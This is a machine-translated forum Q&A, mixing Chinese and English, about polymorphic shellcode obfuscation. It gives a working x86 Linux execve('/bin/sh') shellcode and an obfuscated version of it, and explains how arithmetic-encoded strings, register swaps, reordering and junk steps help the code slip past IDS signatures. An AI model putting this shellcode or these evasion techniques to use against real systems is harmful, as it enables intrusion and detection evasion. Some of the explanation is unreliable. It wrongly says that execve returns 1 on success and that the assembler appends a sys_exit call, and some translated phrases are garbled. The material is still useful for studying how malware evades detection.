使用两个 asm 代码中的差异解释多态混淆

Explained polymorphic obfuscation using the difference within two asm codes

这里有两个asm代码(从这个论坛polymorphic-shellcode复制过来的):

混淆前的原始汇编:

global _start
section .text
_start
    xor    eax,eax
    push   eax
    push   dword 0x68732f2f     ; //sh
    push   dword 0x6e69622f     ; /bin
    mov    ebx,esp
    mov    ecx,eax
    mov    edx,eax
    mov    al,0xb               ; execve()
    int    0x80
    xor    eax,eax
    inc    eax
    int    0x80

混淆后修改后的 asm:

global _start           
section .text
_start:
    xor edx, edx            ;line 1
    push edx                ;line 2
    mov eax, 0x563ED8B7     ;line 3
    add eax, 0x12345678     ;line 4
    push eax                ;line 5
    mov eax, 0xDEADC0DE     ;line 6
    sub eax, 0x70445EAF     ;line 7
    push eax                ;line 8
    push byte 0xb           ;line 9
    pop eax                 ;line 10
    mov ecx, edx            ;line 11
    mov ebx, esp            ;line 12
    push byte 0x1           ;line 13
    pop esi                 ;line 14
    int 0x80                ;line 15
    xchg esi, eax           ;line 16
    int 0x80                ;line 17

它有四个变化:

1。通过执行算术运算而不是直接将十六进制值压入堆栈来屏蔽 /bin/sh 字符串。

Q1.1:我能理解第 3 行到第 8 行(修订后的 asm)。 9号线是什么意思?等于原始 asm 中的“mov al,0xb”?

2。尽可能使用与原始代码不同的寄存器。

Q2.1:比如第1行和第2行(revised asm)指的是这个?

Q2.2:我理解混淆是让IDS无法匹配关键字,为什么要换寄存器?

3。重新排序说明。在调用 execve 之前不要以相同的顺序初始化寄存器。

Q3.1:这个我不明白。用上面两个asm解释一下。

4。引入一些不必要的步骤。例如:推送字节 0x1;弹出 esi; xchg esi,eax 而不是在执行第一个 int 0x80 指令后弹出到 eax。

Q4.1:在原来的asm中,为什么会有两个int 0x80?我试图删除最后一个 0x80,它仍然有效。 Q4.2:增加不必要的步骤是否与混淆直接相关?

Q5:为什么在第 10 行“pop eax”?

Q1.1: I can understand line 3 to 8 (in revised asm). what means line 9? equals to "mov al,0xb" in original asm?

第 9 行和第 10 行做 push byte 0xb, pop eax,这显然转换为 mov eax,0x0000000b。因为 x86 是小尾数法,所以用 0xb 填充 aleax 寄存器的其余部分用零填充)。所以它实际上是在替换 xor eax,eax / mov al,0xb 组合。

push 0xb -> mov [ss:esp],0x0000000b ; memory at SS:ESP = 0x0000000b
pop eax  -> mov eax,[ss:esp]        ; ergo eax = 0x0000000b

Q2.2: i understand obfuscation as let IDS cannot match keywords, why change registers?

许多编译器以或多或少的标准方式使用寄存器。像 IDA-pro(或 IDS)这样的高级程序可以使用此知识将程序集反编译回可读的源代码,前提是它可以推断出用于创建程序的确切编译器版本。通过混合寄存器,反编译器更难将汇编代码翻译成更高级别的(伪)源代码。 IDS 也是如此,它使用已知的代码片段来推断程序执行的操作。

Reorder instructions. Don’t initialize the registers in the same order before calling execve. Q3.1: I do not understand this. Explain it using above two asm.

如果您使用系统调用,则可以相对容易地推断出应用程序正在执行的操作。 Linux(例如)将 call# 存储在 eax 中,并且每个调用都在预定的寄存器中指定了参数。通过使分析程序难以确定 eax 的值,不清楚正在执行哪个系统调用。没有这方面的知识,就无法知道其他寄存器(读取:参数)的含义。如果你用无意义的值填充 non-used 寄存器,那么事情就变得更难解释了。

混淆器不想让您知道它正在调用系统调用 #11 (execve)。唯一的方法是尝试以 round-about 的方式用 0xb 加载 eax。 如果我们总是最后(或最先)加载 eax,那么就更容易弄清楚发生了什么。如果我们使用 2 条或更多指令加载 eax,并且在它们之间放置许多不相关的指令,那么在执行系统调用的 int 0x80 之前跟踪 eax 的最终值变得更加困难.

Q4.1: In the original asm, why there are two int 0x80? I have tried to delete the last 0x80, it still works. Q4.2: Is add unnecessary steps directly related to obfuscation??

不,之前对 (execve) 的系统调用会在成功 return 后将 1 加载到 eax 中。系统调用 #1 恰好是 sys_exit,它干净地关闭了程序。将代码注入程序时,插入片段之后的字节是随机垃圾,我们不想执行这些,因此必须干净地退出线程。对 sys_exit 的调用实现了这一点。
如果您 assemble 此代码段作为 stand-alone 程序,assembler 将为您附加一个 sys_exit 调用。这就是为什么删除最后一个 int 0x80 似乎没有任何区别。

Q5: why "pop eax" in line 10?

首先 0xbpushed,然后 poped 到 eax,本质上执行 mov eax,0xb.